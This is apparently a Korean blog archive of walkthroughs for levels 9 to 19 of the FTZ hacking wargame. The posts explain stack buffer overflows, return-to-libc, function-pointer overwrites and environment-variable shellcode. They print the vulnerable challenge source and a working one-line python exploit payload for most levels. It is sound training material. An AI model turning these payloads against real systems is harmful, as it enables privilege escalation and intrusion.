'System/FTZ'에 해당되는 글 18건

  1. 2019.03.19 [FTZ school] level 19
  2. 2019.03.19 [FTZ school] level 18
  3. 2019.03.19 [FTZ school] level 17
  4. 2019.03.19 [FTZ school] level 16
  5. 2019.03.19 [FTZ school] level 15
  6. 2019.03.19 [FTZ school] level 14
  7. 2019.03.19 [FTZ school] level 13
  8. 2019.03.19 [FTZ school] level 11
  9. 2019.03.17 [FTZ school] level 10
  10. 2017.05.20 [FTZ school] level 9
System/FTZ2019. 3. 19. 12:30

▲ level19의 힌트. 이번엔 너무 간단해서 더 놀랐다. 하지만 이전 문제들과 달리 권한 설정 부분이 없다. EGG Shell공격 기법을 이용하되 이전까지 사용한 쉘코드가 아닌 권한 설정 함수가 포함되어 있는 쉘코드를 사용하면 된다.


▲ 메모리는 할당 40 + SFP(이전EBP) + RET 구조를 가지게 된다. 따라서 NOP*44 + 환경변수 주소 를 입력해주면 된다.


▲ EGG라는 환경변수 등록 후 환경변수 주소 확인


▲ python -c 'print "\x90"*44+"\x8a\xfc\xff\xbf"';cat)|./attackme

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 18  (0) 2019.03.19
[FTZ school] level 17  (0) 2019.03.19
[FTZ school] level 16  (0) 2019.03.19
[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
Posted by BadSchool
System/FTZ2019. 3. 19. 12:01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULLNULLNULL>= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}   
 
cs

▲ level 18의 힌트. 너무 길어서 따로 복사해왔다

이 전의 문제들과 달리 갑자기 복잡한 코드가 나와 약간 당황했다. 인터넷에 함수를 검색해보며 분석해 보았다.

이전까지의 버퍼오버플로우 문제는 check변수가 앞에 있어 쉬웠지만 해당 프로그램은 check 변수가 더 뒤에 있어 다른 방법을 사용해야 할 것 같다.


입력받은 값 중 \n이나 \r이 입력된다면 비프음을 낸다. 이는 별로 의미 없는 것으로 보인다.

만약 입력값이 0x08이면 count--;를 하고 문자를 하나 지운다. 이 문제는 이 부분을 이용하는 문제이다.


▲ main함수의 디스어셈블 코드 중 일부. string이 먼저 선언 되고 그 뒤에 check 변수가 선언 되어 있다.  따라서 string과 check 사이의 거리를 구해 그만큼 0x08을 입력해 준 후 deadbeef를 입력해 주면 된다. check변수 부분은 ebp-104, string은 ebp-100이므로 4만큼의 거리가 있다.

따라서 0x08*4+0xdeadbeef를 입력해 주면 공격이 성공한다.


▲ 못 풀것 같은 복잡해 보이는 문제도 차근차근 그 구조를 파악하면 풀 수 있다.

(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat) | ./attackme

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 19  (0) 2019.03.19
[FTZ school] level 17  (0) 2019.03.19
[FTZ school] level 16  (0) 2019.03.19
[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
Posted by BadSchool
System/FTZ2019. 3. 19. 07:43

▲ level17의 힌트. shell 코드를 환경변수에 올려서 호출시키는 방식으로 공격 가능하다.


▲ 스택의 구조는 이전 프로그램과 같다. 56, 16, 40


▲ 환경변수에 쉘코드를 업로드하고 주소를 확인하였다. 주소는 0xbfffc8c 이다.

이제 프로그램에 NOP*40+0xbfffc8c를 입력해 주면 된다.



'System > FTZ' 카테고리의 다른 글

[FTZ school] level 19  (0) 2019.03.19
[FTZ school] level 18  (0) 2019.03.19
[FTZ school] level 16  (0) 2019.03.19
[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
Posted by BadSchool
System/FTZ2019. 3. 19. 06:31

▲ level16의 힌트 입니다. 함수포인터 call을 선언해 printit를 호출시켜 줍니다. 함수포인터의 주소값을 printit()가 아닌 shell()의 주소로 바꿔주면 되겠네요.


▲ esp-56 만큼 해 주며 시작합니다. 마지막 부분에 ebp-16위치에 있는 주소값을 call 해 주는 모습이 보이네요. 따라서 이전문제와 비슷하지만 하드코딩값 주소가 아닌 shell()의 주소값을 넣어주면 되겠습니다.


▲ shell()함수의 시작주소는 0x080484d0 입니다. 따라서 공격은 NOP*40 + 0x080484d0 이 되겠네요.


▲ (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme



'System > FTZ' 카테고리의 다른 글

[FTZ school] level 18  (0) 2019.03.19
[FTZ school] level 17  (0) 2019.03.19
[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
[FTZ school] level 13  (0) 2019.03.19
Posted by BadSchool
System/FTZ2019. 3. 19. 06:19

▲ 언뜻 보면 level14와 같아 보이지만 check가 그냥 변수가 아닌 포인터 변수로 변경되었습니다.


▲ 분석 편의상 intel 문법으로 변경하였습니다. 보면 버퍼를 56만큼 할당 해 주고 ebp-16위치에 있는 값과 0xdeadbeef를 비교해 줍니다. 따라서 56-16 = 40. 즉 40만큼의 NOP을 입력해 준 후 deafbeef가 있는 주소를 입력해주면 됩니다.


▲deadbeef는 프로그램 내에 하드코딩 되어 있는 상태. 약간의 게싱을 통해 찾아냈습니다. 주소값은 0x080484b2 입니다.


따라서 공격은 NOP*40 + 0x080484b2로 이루어집니다.

▲ (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat) | ./attackme


'System > FTZ' 카테고리의 다른 글

[FTZ school] level 17  (0) 2019.03.19
[FTZ school] level 16  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
[FTZ school] level 13  (0) 2019.03.19
[FTZ school] level 11  (0) 2019.03.19
Posted by BadSchool
System/FTZ2019. 3. 19. 05:42

▲레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다. 버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이 최고의 효과를 가져다줍니다. 라고 하네요. 일단 디스어셈블 해보겠습니다.


▲ 버퍼의 크기는 56(=0x38) 해당 프로그램은 check변수가 0xdeadbeef라면 권한을 주는 프로그램이네요. 딱히 사이에 다른 공간이 없으므로 귀찮게 deadbeef체크 부분을 찾지 않고 그냥 deadbeef로 덮어버렸습니다.


▲ 원래는 사이 거리까지 구해야하지만 ㅎㅎ... 별로 어려운 것이 아니기에 그냥 풀었습니다.

(python -c 'print "\xef\xbe\xad\xde"*56';cat) | ./attackme

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 16  (0) 2019.03.19
[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 13  (0) 2019.03.19
[FTZ school] level 11  (0) 2019.03.19
[FTZ school] level 10  (0) 2019.03.17
Posted by BadSchool
System/FTZ2019. 3. 19. 05:26

▲ level13의 힌트. i값을 체크하는 것을 보니 스택 가드를 사용하는 듯 하다. 버퍼 오버 플로우를 해주되 i부분을 계산하여 i값을 침범하지 않도록 코드를 짜주면 된다.


▲ main의 strcpy 직후에 bp를 걸어주고 A를 1024개 넣어 스택에서의 i위치를 찾아 보았다. 

버퍼의 크기는 총 1048byte, 버퍼에서 ret까지 거리는 4byte 즉 버퍼시작에서 ret까지는 1052byte 만큼의 거리이다. 버퍼시작에서 i까지의 거리는 1036byte이다.


그렇다면 공격은 NOP*1036개+i값+NOP*(1052-1048=12) + system주소 + NOP*4 + /bin/sh 주소 가 된다.


./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\xc0\xf2\x03\x42"+ "\x90"*4+"\xa4\x7e\x12\x42"'`

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
[FTZ school] level 11  (0) 2019.03.19
[FTZ school] level 10  (0) 2019.03.17
[FTZ school] level 9  (0) 2017.05.20
Posted by BadSchool
System/FTZ2019. 3. 19. 03:45

▲ level11의 파일리스트. 누가봐도 눈에띄게 공격해 달라는 빨간색 파일과 힌트 파일이 보인다.


1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
    char str[256];
 
    setreuid( 30923092 );
    strcpy( str, argv[1] );
    printf( str );
 
cs

▲ 코드를 보기쉽게 다시 올려보았다. attackme의 소스파일로 보인다. 인자값을 입력받아 strcpy의 취약점을 이용해 공격하는 문제이다.


▲ esp에 sub 0x108을 해주는 모습. 즉 스택에 264byte 만큼의 공간을 할당해 주었다. 따라서 현재 메모리 구조는 그림과 같이 보인다(편의상 EBP로 적는다).

+ 왜 dummy값이 8byte인가요??? ---> 264byte의 할당 값 중 str이 256byte를 사용하고 있기 때문.


따라서 우리는 str+dummy 의 264byte에 셸 코드와 NOP으로 채워 준 후 EBP 부분을 쓰레기 값으로 채워 준 후 RET 부분에 셸 코드로 넘어가는 주소값을 넣어주면 된다.


▲ 간단한 perl 언어로 a를 268개, A를 4개 입력한 모습 보이는 것과 같이 str시작 주소는 0xbfffee40

RET는 0xbffffb20, EBP는 0xbfffee60 이 된다. 그렇다면 셸 코드+nop 264byte + dummy 4byte + 쉘주소 4byte를 입력해 주면 되겠습니다............... 하지만 해당 프로그램에는 랜덤스택주소 방어기법이 적용되어 있어 성공이 되지 않습니다. 브루트 포스를 하는 방법도 있지만 저는 그것이 아닌 RTL 공격 기법을 이용해 보겠습니다.


++ RTL 공격 기법이란?

Retrun To Libc 즉 리턴 주소를 공유 라이브러리 주소로 바꿔 실행하게 되는 것이다. 즉 쉘코드를 직접 작성하지 않고 라이브러리 함수를 이용하게 됩니다.


=============다시 처음부터 ㅎㅎ=======================================


▲ gdb로 main에 bp를 걸어준 다음 print함수를 이용해서 system함수의 주소를 알아냈습니다. 이제 execve에 /bin/sh를 실행해야 하는데요. system 함수 안에 execve가 있으므로 그걸 찾아내야 합니다. 저는 간단한 반복문으로 찾아보도록 하겠습니다.


▲ 코드 사진


▲ 주소는 0x42127ea4

자 그러면 이제 알아내야 할 것은 다 알아냈습니다.

system 함수 주소 : 0x4203f2c0,    /bin/sh 주소 : 0x42127ea4

따라서 NOPx268 + 0x4203f2c0 + NOPx4 + 0x42127ea4 를 입력해 주면 됩니다.


▲ 처음에 perl언어로 작성하였는데 아무리 해도 16진수 값이 들어가지 않아서 파이썬으로 짰습니다.

./attackme `python -c 'print "\x90"*268+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 14  (0) 2019.03.19
[FTZ school] level 13  (0) 2019.03.19
[FTZ school] level 10  (0) 2019.03.17
[FTZ school] level 9  (0) 2017.05.20
[FTZ school] level 8  (0) 2017.05.20
Posted by BadSchool
System/FTZ2019. 3. 17. 23:20

▲level10의 힌트내용이다. 중요한 키워드는 공유메모리와 key_t의 값 7530 으로 보인다.




▲공유메모리란? 한 메모리 공간을 여러 프로세스가 같이 공유하여 사용하는 것. 그림의 좌측이 일반적인 메모리고 우측이 공유메모리다. 따라서 같은 공유 메모리를 쓰는 프로그램을 하나 만들어 주면 쉽게 그 값을 읽을 수 있다.


▲공유메모리 관련된 코드는 구글링을 통하여 알아냈다. 


▲ 실행해주면 클리어!

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 13  (0) 2019.03.19
[FTZ school] level 11  (0) 2019.03.19
[FTZ school] level 9  (0) 2017.05.20
[FTZ school] level 8  (0) 2017.05.20
[FTZ school] level 7  (0) 2017.05.20
Posted by BadSchool
System/FTZ2017. 5. 20. 01:17

▲힌트 내용. 드디어 BoF문제가 나타나고 있다. 잘 안보이니 아래를 보고 분석해보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//다음은 /usr/bin/bof의 소스이다.
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go"2== 0 )
   {
        printf("Good Skill!\n");
        setreuid( 30103010 );
        system("/bin/bash");
   }
 
}   
 
//이를 이용하여 level10의 권한을 얻어라.
 
cs

▲보면 buf2배열과 buf배열을 각각 10씩 주고있다.

입력값은 buf에 40개를 받는데 비교는 값을 받지 않는 buf2를 비교한다. 이게 어찌된 일일까?

메모리 구조를 보며 생각해보자.

Low 

buf [10] 

buf2 [10] 

SFP [4] 

RET [4] 

 High

▲BoF는 값을 넘치게 입력하여 다른 변수의 값을 덮어 버릴 수 있는 공격이다.

즉 buf에 10바이트 넘는 값을 입력하게 되면 buf2로 넘어가게 된다.

그러므로 10개의 아무값이나 입력 하고 go를 입력해주면 된다.





▲근데 뭘까? 입력했는데 아무런 반응이없다. 당황할 수 있다.

하지만 사실 메모리 구조에는 더미값이라는 쓰레기값이 사이사이 존재한다.

현재 상황에서는 더미값이 몇바이트인지 정확히 알기는 귀찮으니

그냥 go를 덮어주면 더미값을 넘어 buf까지 도착할 것이다



▲ Correct!

'System > FTZ' 카테고리의 다른 글

[FTZ school] level 11  (0) 2019.03.19
[FTZ school] level 10  (0) 2019.03.17
[FTZ school] level 8  (0) 2017.05.20
[FTZ school] level 7  (0) 2017.05.20
[FTZ school] level 6  (0) 2017.05.20
Posted by BadSchool